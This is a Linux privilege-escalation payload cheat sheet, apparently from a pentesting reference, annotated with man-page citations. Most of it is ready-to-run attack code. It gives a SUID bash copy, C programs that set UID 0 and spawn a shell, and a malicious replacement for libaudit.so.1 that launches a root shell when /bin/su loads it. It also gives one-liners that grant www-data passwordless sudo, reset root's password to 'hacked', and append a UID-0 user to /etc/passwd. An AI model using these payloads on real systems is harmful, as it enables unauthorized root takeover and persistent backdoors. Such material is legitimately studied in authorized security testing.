Payloads to execute
Bash
bash -p enables privileged mode: when Bash starts with different real and effective IDs, it does not reset the effective ID to the real ID. The resulting shell still depends on the caller’s existing credentials.[1][3]
cp /bin/bash /tmp/b && chmod +s /tmp/b
/bin/b -p #Maintains root privileges from suid, working in debian & buntu
C
setresuid changes the real, effective, and saved IDs when permitted, while setuid changes the effective ID and may also set the real and saved IDs for a privileged caller. execve replaces the current process image with the requested program.[2][3][4] These examples omit return-value checks; both credential calls can fail even for UID 0.[2][3]
//gcc payload.c -o payload
int main(void){
setresuid(0, 0, 0); //Set as user suid user
system("/bin/sh");
return 0;
}
//gcc payload.c -o payload
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
int main(){
setuid(getuid());
system("/bin/bash");
return 0;
}
// Privesc to user id: 1000
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
int main(void) {
char *const paramList[10] = {"/bin/bash", "-p", NULL};
const int id = 1000;
setresuid(id, id, id);
execve(paramList[0], paramList, NULL);
return 0;
}
Overwriting a file to escalate privileges
Common files
These are common local privilege-control files and interfaces: /etc/passwd stores seven-field account records, /etc/shadow stores optional encrypted password data, sudoers defines sudo privileges and tags such as NOPASSWD, and Docker’s default daemon endpoint is a Unix socket at /var/run/docker.sock; access to that socket can grant root-level control of its host.[5][6][7][8]
- Add user with password to /etc/passwd
- Change password inside /etc/shadow
- Add user to sudoers in /etc/sudoers
- Abuse docker through the docker socket, usually in /run/docker.sock or /var/run/docker.sock
Overwriting a library
Check which shared libraries a binary uses; in this example, inspect /bin/su with ldd.[9]
ldd /bin/su
linux-vdso.so.1 (0x00007ffef06e9000)
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
ldd reports shared-object dependencies, while the dynamic linker uses ELF metadata and its search rules to load them at runtime.[9][10]
To inspect one candidate, use objdump -T to print the dynamic symbol table of su and filter for audit names.[11]
objdump -T /bin/su | grep audit
0000000000000000 DF *UND* 0000000000000000 audit_open
0000000000000000 DF *UND* 0000000000000000 audit_log_user_message
0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message
000000000020e968 g DO .bss 0000000000000004 Base audit_fd
audit_open, audit_log_user_message, and audit_log_acct_message are libaudit functions; audit_fd is shown as a data object defined in su’s .bss in this output.[12][13][14] A replacement library must export compatible definitions for the undefined symbols that the loader resolves; mismatched function/data ABIs can still make the process fail when those symbols are relocated or called.[10][11]
GCC’s constructor attribute causes inject to be called automatically before main on supported targets.[15]
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
//gcc -shared -o /lib/x86_64-linux-gnu/libaudit.so.1 -fPIC inject.c
int audit_open;
int audit_log_acct_message;
int audit_log_user_message;
int audit_fd;
void inject()__attribute__((constructor));
void inject()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
If the replacement is loaded successfully by a privileged /bin/su process, this constructor can start /bin/bash with that process’s privileges; the exact result is environment-dependent.[10][15]
Scripts
Can you make root execute something?
sudoers uses the NOPASSWD tag in policy entries, chpasswd reads user:password pairs from standard input, and /etc/passwd uses seven colon-separated account fields; the following examples assume the relevant files are writable by the process that runs them.[5][6][16]
www-data to sudoers
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
Change root password
echo "root:hacked" | chpasswd
Add new root user to /etc/passwd
The final payload depends on a target that accepts the generated crypt hash: Debian’s mkpasswd -m sha-512 maps to SHA-512 crypt ($6$), while OpenSSL’s passwd -1 -salt uses the MD5-based BSD algorithm ($1$).[17][18]
echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd
References
- [1] The Set Builtin (Bash Reference Manual)
- [2] setresuid(2) — Linux manual page
- [3] setuid(2) — Linux manual page
- [4] execve(2) — Linux manual page
- [5] passwd(5) — Linux manual page
- [6] sudoers(5) — Debian Manpages
- [7] Protect the Docker daemon socket
- [8] dockerd — Docker Docs
- [9] ldd(1) — Linux manual page
- [10] ld.so(8) — Linux manual page
- [11] objdump (GNU Binary Utilities)
- [12] audit_open(3) — Debian Manpages
- [13] audit_log_user_message(3) — Debian Manpages
- [14] audit_log_acct_message(3) — Debian Manpages
- [15] Common Attributes (Using the GNU Compiler Collection)
- [16] chpasswd(8) — Linux manual page
- [17] mkpasswd.c — Debian Sources
- [18] openssl-passwd — OpenSSL Documentation